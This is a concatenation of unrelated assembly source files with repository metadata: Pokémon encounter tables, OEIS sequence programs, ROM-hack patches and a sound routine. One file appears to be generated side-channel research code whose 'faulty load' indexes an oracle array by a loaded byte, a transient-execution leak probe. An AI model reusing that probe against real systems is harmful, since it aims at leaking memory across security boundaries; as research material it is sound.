] | null | null | null | data/wildPokemon/mansion3.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | MansionMons3:
db $0A
IF DEF(_RED)
db 31,KOFFING
db 33,GROWLITHE
db 35,KOFFING
db 32,RATICATE
db 34,MAGMAR
db 40,WEEZING
db 34,GRIMER
db 38,WEEZING
db 36,VENOMOTH
db 42,MUK
ELSE
db 31,GRIMER
db 33,VULPIX
db 35,GRIMER
db 32,RATICATE
db 34,RATICATE
db 40,MUK
db 34,KOFFING
db 38,MUK
db 36,VENOMOTH
db 42,WEEZING
ENDC
db $00
| 12.703704 | 16 | 0.720117 |
401484677e1fc01408d0b62bef123c8d165a0053 | 237 | asm | Assembly | oldstuff/tigcc/PolySnd/sources/statique/_Ptridle_voice1.asm | bcherry/bcherry | 5d2f1144dbdbf35d6284018fa2c9e24ec5cecec6 | [
"MIT"
] | 3 | 2016-11-13T09:06:41.000Z | 2021-09-11T23:36:19.000Z | oldstuff/tigcc/PolySnd/sources/statique/_Ptridle_voice1.asm | bcherry/bcherry | 5d2f1144dbdbf35d6284018fa2c9e24ec5cecec6 | [
"MIT"
] | null | null | null | oldstuff/tigcc/PolySnd/sources/statique/_Ptridle_voice1.asm | bcherry/bcherry | 5d2f1144dbdbf35d6284018fa2c9e24ec5cecec6 | [
"MIT"
] | 2 | 2017-04-04T10:03:18.000Z | 2021-09-11T23:36:26.000Z | section ".data"
xdef pSnd_Ptridle_voice1
pSnd_Ptridle_voice1:
move.l a0,d0
tst.l d0
beq.s return_ptr_voice1
move.l d0,ptridle_voice1
bsr pSnd_SkipData_voice1
suba.l a0,a0
rts
return_ptr_voice1:
move.l ptridle_voice1,a0
rts | 15.8 | 25 | 0.78481 |
885ccbd6e58a28939a8a07310aa32060c5068c9f | 279 | asm | Assembly | programs/oeis/024/A024053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/024/A024053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/024/A024053.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A024053: a(n) = 5^n - n^4.
; 1,4,9,44,369,2500,14329,75724,386529,1946564,9755625,48813484,244119889,1220674564,6103477209,30517527500,152587825089,762939369604,3814697160649,19073486197804,95367431480625,476837158008644,2384185790781369
mov $1,5
pow $1,$0
pow $0,4
sub $1,$0
| 34.875 | 210 | 0.784946 |
859fdc8f193d777a9bdb9df8cd250e5824884c5d | 459 | asm | Assembly | programs/oeis/088/A088941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/088/A088941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/088/A088941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A088941: a(n)=12*sum(1<=i<=j<=k<=n,i*j/k).
; 0,12,54,154,349,685,1217,2009,3134,4674,6720,9372,12739,16939,22099,28355,35852,44744,55194,67374,81465,97657,116149,137149,160874,187550,217412,250704,287679,328599,373735,423367,477784,537284,602174,672770
mov $7,$0
mov $9,$0
lpb $9
clr $0,7
mov $0,$7
sub $9,1
sub $0,$9
mov $1,2
add $1,$0
bin $1,2
add $3,$0
mul $3,4
sub $3,$0
mov $5,$3
add $5,1
mul $1,$5
add $8,$1
lpe
mov $1,$8
| 19.956522 | 209 | 0.623094 |
b409e7460c671d5f3ba1df2c16ed45983e6c7083 | 400 | asm | Assembly | oeis/162/A162845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/162/A162845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/162/A162845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A162845: Sum of digits of binomial(3n,n).
; 1,3,6,12,18,6,24,18,27,39,18,36,36,36,42,60,63,63,78,72,72,63,72,90,72,99,90,75,117,108,90,99,117,117,99,162,126,144,153,153,153,159,150,126,153,114,144,171,171,171,162,162,198,180,186,207,180,189,180,234,207
mov $3,$0
seq $3,5809 ; a(n) = binomial(3n,n).
mov $2,$3
seq $2,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n).
mov $0,$2
| 44.444444 | 210 | 0.665 |
d1f89705ef246ab8de5e1ba1aa0f889c41600e8a | 676 | asm | Assembly | oeis/156/A156531.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/156/A156531.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/156/A156531.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A156531: Denominator of Euler(n, 1/17).
; Submitted by Jon Maiga
; 1,34,289,19652,83521,2839714,24137569,3282709384,6975757441,237175752994,2015993900449,137087585230532,582622237229761,19809156065811874,168377826559400929,45798768824157052688,48661191875666868481,1654480523772673528354,14063084452067724991009,956289742740605299388612,4064231406647572522401601,138183867826017465761654434,1174562876521148458974062689,159740551206876190420472525704,339448671314611904643504117121,11541254824696804757879139982114,98100666009922840441972689847969
add $0,1
mov $2,$0
mov $3,17
pow $3,$0
lpb $0
lpb $2
dif $2,2
mov $0,$2
mul $3,2
lpe
lpe
mov $0,$3
div $0,17
| 37.555556 | 482 | 0.83284 |
f662a046ac044fc3734a55f28d0e9a1b09a70e2b | 3,171 | asm | Assembly | asm/battle_message.asm | unknownbrackets/tomatotrans | 4d4447a965c59cbb0ccda1176ae83870ad116528 | [
"0BSD"
] | 14 | 2020-07-06T00:37:34.000Z | 2021-09-20T12:32:53.000Z | asm/battle_message.asm | MiYakuGaming/tomatotrans | 6ae7fd95bc98518165869b05da3f394372bd8b5a | [
"0BSD"
] | 11 | 2020-07-03T08:57:10.000Z | 2021-09-26T19:42:29.000Z | asm/battle_message.asm | MiYakuGaming/tomatotrans | 6ae7fd95bc98518165869b05da3f394372bd8b5a | [
"0BSD"
] | 2 | 2020-07-11T03:41:38.000Z | 2021-08-11T01:12:39.000Z | ; Many messages are copied to a fixed size buffer at 0x03000BFC, but we want longer.
; Really, they don't need to be there - we can read directly from the ROM.
; We edit the func to use a pointer in that buffer for long strings, instead.
; 0804A168 is pretty long so just rewriting the relevant part.
; All regs are actually free at this point, luckily (r4-r7 were saved.)
; Original buffer:
; uint8_t align = { LEFT = 0, CENTER = 1, RIGHT = 2 }; // Doesn't work with VWF.
; uint8_t length;
; char str[0x1E]; // We store pointer at &str[2] for alignment reasons.
; Before the literal pool...
.org 0x0804A4E0
.area 0x0804A4F8-.,0x00
; Load the existing buffer pointer from the literal pool.
ldr r4,[0x0804A50C] ; 0x03000BFC
; Load the font draw params struct.
ldr r5,[0x0804A580] ; 0x030018BC
; Prepare a flag for the Calc8x8PixelWidth call.
mov r2,1
; Read max length into r1 and compare to 0x1A.
ldrb r1,[r4,1]
mov r6,0x1A
cmp r1,r6
bgt @@largeText
; Smaller, so embedded.
add r0,r4,2
b @stringReady
@@largeText:
ldr r0,[r4,4]
b @stringReady
.endarea
;After the literal pool...
.org 0x0804A510
.region 0x0804A54C-.,0x00
@stringReady:
; Calculate the actual width of the string, including stripping trailing spaces.
bl Calc8x8PixelWidth
; Skip if zero length.
cmp r2,0
beq 0x0804A54C
; This is the literal pool address for the VRAM dest to draw to.
ldr r7,[0x0804A588] ; 0x06000820
; Make r6 the availWidth, and convert both to bytes for easy math.
lsl r6,r6,5
lsl r2,r2,2
; Now let's check the alignment flag.
ldrb r3,[r4,0]
; 0 = left, 1 = center, 2 = right.
cmp r3,1
beq @@alignCenter
bgt @@alignRight
b @@alignDone
@@alignCenter:
; xpos = (availWidth - actualWidth) / 2
sub r6,r6,r2
lsr r6,1
add r7,r6
b @@alignDone
@@alignRight:
; xpos = availWidth - actualWidth
sub r6,r6,r2
add r7,r6
@@alignDone:
; Okay, that's our draw destination.
str r7,[r5,8]
; Then store the string pointer and length.
str r0,[r5,12]
strb r1,[r5,5]
; Draw the message.
bl CopyString8x8ToVRAM
; There's a lot of blank space now, skip it.
b 0x0804A54C
.endregion
; This is the battle script 0x43 command which shows a battle message.
.org 0x08042484
.region 0x080424DC-.,0x00
.func BattleScript43Message
push r14
; I think this is a flag to indicate it's showing.
ldr r3,=0x03000BBA
mov r2,4
strb r2,[r3,r1]
; Update the script pointer for this enemy.
ldr r2,=0x0300074C
lsl r1,r1,2
add r0,r0,4
str r0,[r2,r1]
sub r0,r0,4
; Read the pointer, unaligned. Hard with thumb.
; Considered doing two unaligned ldrs and masking...
ldrb r1,[r0,3]
lsl r1,r1,8
ldrb r2,[r0,2]
orr r1,r2
lsl r1,r1,8
ldrb r2,[r0,1]
orr r1,r2
lsl r1,r1,8
ldrb r0,[r0,0]
orr r1,r0
; This is the battle message buffer to copy to.
; r3 is still 0x03000BBA. Avoid a ldr.
add r3,0x03000BFC - 0x03000BBA
; At that pointer, we put a byte for size, and the rest gets copied.
ldrb r2,[r1,0]
cmp r2,0xFF
beq @@newType
; Old type of message, we copy 16 bytes.
mov r2,0
strb r2,[r3,0]
mov r2,16
strb r2,[r3,1]
add r0,r3,2
b @@copy
@@newType:
ldrb r2,[r1,1]
add r1,r1,2
mov r0,r3
@@copy:
bl 0x080F954C
; Lastly update flags.
mov r0,0x40
lsl r0,r0,8
add r0,r0,1
bl 0x0804A148
pop r15
.pool
.endfunc
.endregion
| 20.458065 | 84 | 0.72217 |
7eae0e960f3e3f077c487a9c04e33cf108b9c7b6 | 285 | asm | Assembly | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_shrink_to_fit_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_shrink_to_fit_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/bv_priority_queue/c/sdcc_iy/bv_priority_queue_shrink_to_fit_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; int bv_priority_queue_shrink_to_fit_fastcall(bv_priority_queue_t *q)
SECTION code_adt_bv_priority_queue
PUBLIC _bv_priority_queue_shrink_to_fit_fastcall
_bv_priority_queue_shrink_to_fit_fastcall:
INCLUDE "adt/bv_priority_queue/z80/asm_bv_priority_queue_shrink_to_fit.asm"
| 25.909091 | 78 | 0.884211 |
004df0cc9f787d242d17fbe74de9c267001d7a87 | 513 | asm | Assembly | oeis/039/A039643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/039/A039643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/039/A039643.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A039643: Number of steps to fixed point of "k -> k/2 or (k-1)/2 until result is prime", starting with prime(n)+1.
; Submitted by Jamie Morken(s2)
; 1,2,2,3,3,2,4,3,4,3,5,2,4,3,5,3,4,2,3,6,2,5,5,4,6,6,4,4,4,5,7,7,4,4,3,4,2,3,6,3,5,5,7,2,7,7,3,6,6,6,4,6,6,4,8,8,3,5,2,5,3,3,5,5,2,3,3,7,4,4,6,6,5,5,4,8,3,2,8,8,6,2,6,6,6,6,7,2,7,5,5,7,4,4,5,5,3,9,3,2
seq $0,40 ; The prime numbers.
lpb $0
seq $0,66560 ; Smallest composite number divisible by n.
div $0,2
sub $0,1
add $1,7
lpe
mov $0,$1
div $0,7
add $0,1
| 34.2 | 201 | 0.594542 |
7d9e8aef91c92f1cc86be36990a2b69eb3547a01 | 315 | asm | Assembly | programs/oeis/104/A104743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/104/A104743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/104/A104743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A104743: Numbers m = n + 3^n such that the equation x = 3^(m-x) has solution x = 3^n.
; 1,4,11,30,85,248,735,2194,6569,19692,59059,177158,531453,1594336,4782983,14348922,43046737,129140180,387420507,1162261486,3486784421,10460353224,31381059631,94143178850,282429536505,847288609468
mov $1,3
pow $1,$0
add $1,$0
| 45 | 196 | 0.75873 |
ff53533e8ae5f78ff7280da40456806ffdd9d17f | 7,887 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1025.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1025.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1025.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x19959, %r14
nop
xor %r8, %r8
movb $0x61, (%r14)
inc %r8
lea addresses_A_ht+0x195d9, %r13
nop
nop
nop
nop
xor $24779, %r12
mov (%r13), %rcx
nop
nop
nop
nop
nop
sub %r14, %r14
lea addresses_WC_ht+0x14ff9, %rsi
nop
sub %rdi, %rdi
movw $0x6162, (%rsi)
nop
add %rcx, %rcx
lea addresses_normal_ht+0x11159, %rsi
lea addresses_UC_ht+0x16681, %rdi
clflush (%rsi)
nop
nop
nop
xor $35951, %r15
mov $24, %rcx
rep movsq
nop
nop
nop
inc %r14
lea addresses_WC_ht+0x97d9, %rcx
nop
nop
nop
nop
nop
cmp $58788, %r14
mov (%rcx), %si
cmp %rdi, %rdi
lea addresses_A_ht+0x7077, %rsi
lea addresses_UC_ht+0x13a81, %rdi
nop
nop
cmp $11102, %r14
mov $120, %rcx
rep movsl
nop
nop
nop
xor $60384, %rcx
lea addresses_WC_ht+0x5f09, %rcx
nop
nop
nop
cmp $16083, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_D_ht+0x6759, %r12
nop
nop
dec %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
vmovups %ymm0, (%r12)
nop
nop
inc %r12
lea addresses_D_ht+0xd2d9, %rcx
and $58007, %r13
mov $0x6162636465666768, %r14
movq %r14, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
nop
nop
inc %r8
lea addresses_WC_ht+0xa0d9, %rsi
lea addresses_WC_ht+0x11759, %rdi
xor %r15, %r15
mov $55, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rsi
lea addresses_UC_ht+0x15759, %rsi
lea addresses_WC_ht+0x5fd9, %rdi
nop
nop
nop
nop
inc %r8
mov $21, %rcx
rep movsl
nop
nop
dec %r14
lea addresses_UC_ht+0x1ab59, %rsi
lea addresses_WT_ht+0x1c359, %rdi
nop
nop
nop
nop
nop
xor $62146, %r8
mov $82, %rcx
rep movsw
nop
nop
sub %r13, %r13
lea addresses_UC_ht+0xad98, %rcx
nop
nop
nop
nop
nop
cmp $952, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm5
movups %xmm5, (%rcx)
nop
nop
sub %r14, %r14
lea addresses_UC_ht+0xa1d9, %rsi
lea addresses_WC_ht+0xa359, %rdi
nop
nop
nop
nop
sub $27643, %r14
mov $127, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $45384, %r13
lea addresses_WT_ht+0xd1d9, %rsi
lea addresses_WC_ht+0x16bdb, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
mov $111, %rcx
rep movsl
nop
dec %r12
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r9
push %rbx
push %rsi
// Faulty Load
lea addresses_PSE+0xf759, %r12
and %rsi, %rsi
movb (%r12), %bl
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rbx
pop %r9
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': True, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 33.278481 | 2,999 | 0.660707 |
1653306d19173a8fc7820ed94d76eb32a09e1ee0 | 5,802 | asm | Assembly | weapon-tank.xkas-06.asm | n00btube/sm-weapon-tank | 78dc54e30d20e74859a766ab201dce41096a9d8c | [
"MIT"
] | null | null | null | weapon-tank.xkas-06.asm | n00btube/sm-weapon-tank | 78dc54e30d20e74859a766ab201dce41096a9d8c | [
"MIT"
] | 2 | 2015-04-02T00:59:13.000Z | 2015-04-04T19:25:18.000Z | weapon-tank.xkas-06.asm | n00btube/sm-weapon-tank | 78dc54e30d20e74859a766ab201dce41096a9d8c | [
"MIT"
] | null | null | null | ; Copyright 2015 Adam <https://github.com/n00btube>
; MIT license (this file).
lorom
; --------------------------------------------------------------
; Most of our work here will be in bank $84, the PLM bank.
; This first routine is the code behind our new PLM instruction to handle
; the item pickup. This address (F070) is just "somewhere in free space."
; Be careful adding code, not to overwrite the PLM data at F0A0...
; this code is 34 ($22) bytes, leaving 14 ($0E) more.
org $84F070
; PLM arguments:
; Value (2 bytes), unused since the math is too hard for me yet
; Message box (1 byte)
tank_collect:
LDA $09D8 ; load current number of tanks
INC ; add hardcoded "one tank"
STA $09D8 ; save tank number
LDA #$0168 ; frame delay for music/messagebox
JSL $82E118 ; do music
LDA $0002,Y ; grab message box arg
AND #$00FF ; convert to byte
JSL $858080 ; display message box
INY ; advance past our args, to next instruction
INY
INY
RTS ; return to PLM loop
; --------------------------------------------------------------
; Item definition, referenced by the files in the PLMs directory.
org $84F0A0
; item header: EE64 for a pickup
DW $EE64,item_data
item_data:
DW $8764,$9400 ; custom graphics: reserve tank
DB 0,0,0,0,0,0,0,0 ; graphics palettes
DW $887C,end_plm ; if item has been picked up, delete PLM
DW $8A2E,$DFAF ; chozo ball stuff (x2)
DW $8A2E,$DFC7
DW $8A24,pickup_plm ; save address of 'pickup triggered' PLM routine
DW $86C1,$DF89 ; set pre-PLM instruction
DW $874E ; store $16 to 1D77,X (the 'variable use PLM value')
DB $16 ; no idea why, but Chaos Arms did it, and taking it out crashes.
gfx_plm:
DW $E04F ; graphics/pickup stuff
DW $E067 ; flashing animation
DW $8724,gfx_plm ; use graphics stuff as next (frame's?) PLM instruction
pickup_plm:
DW $8899 ; mark PLM as picked up
DW $8BDD
DB $02 ; play track 02 (item collect)
DW tank_collect,$0000 ; item type + value (the latter unused)
DB $1D ; msgbox identifier, I think $1D may be the first free msgbox?
DW $0001,$A2B5 ; schedule block redraw & graphics update after 1 frame delay
end_plm:
DW $86BC ; done: delete PLM
; --------------------------------------------------------------
; missile pickup (item drop) optimization
; as in, I didn't want it overwriting weapon tanks w/ reserve missiles,
; so I rewrote it entirely. I made it smaller, so no free space used.
org $91DF80
PHP ; save flags
PHB ; save data bank
PHK ; set data bank to code bank ($91)
PLB
REP #$30 ; set 16-bit modes
CLC ; add pickup size (in A) to current value
ADC $09C6
STA $09C6
CMP $09C8 ; check for overfill
BMI missiles_done
; originally, the reserve-missile code was in here.
; but we just want to set current=max and get on our way.
LDA $09C8
STA $09C6
missiles_done:
PLB ; restore data bank
PLP ; restore flags
RTL
; --------------------------------------------------------------
; damage calculation hijack point
; this is the obvious point: the LDA instruction that gets the base damage value.
; which is why this conflicts with other damage-modifying patches
org $93803C
JSR damage_hijack
; routine for boosting the damage calculation
; movable anywhere in bank $93 free space. 79 ($4F) bytes in size.
org $93F620
damage_hijack:
LDA $09D8 ; load number of weapon tanks
AND #$000F ; limit to (hopefully sane) maximum value: 15 tanks
BNE do_tanks ; skip calculations if no tanks
no_boost:
LDA $0000,y ; original damage value
RTS
do_tanks:
; #################### OPTIONAL: AVOID BOOSTING BEAMS ####################
; Delete this section if you want beams to be boosted. (saves 14/$E bytes)
; Default is to only boost missiles/supers.
LDA $0C18,X ; get projectile type
BIT #$0F00 ; check for beam type
BEQ no_boost ; beam: disable boost
LDA $09D8 ; reload our number of tanks ofter the beam check
AND #$000F
; ######################### END OPTIONAL SECTION #########################
PHX
PHY
; (32 + (n_tanks * per_tank_32nds)) * base_damage / 32 = effective_damage
; BTW: 32 was chosen to give a good combo of precision and upper limit.
; Both should be effectively insane, I hope.
TAX ; n_tanks
LDA #$0020 ; 32 (1x Samus' original base damage) plus...
CLC
nk_multiply:
; ########################## DAMAGE BOOST VALUE ##########################
; The following ADC value is the damage per tank, in 32nds ($20ths).
; Examples:
; $0010: half of base damage per tank. 1x, 1.5x, 2x, 2.5x, ...
; $0015: two-thirds, approx. 1x, 1.66x, 2.33x, 2.99x, ...
; $0040: double. 1x, 3x, 5x, 7x, ...
; But be careful not to overflow 7FFF (32767) damage total.
ADC #$0010 ; per_tank value in 32nds
DEX ; used tank
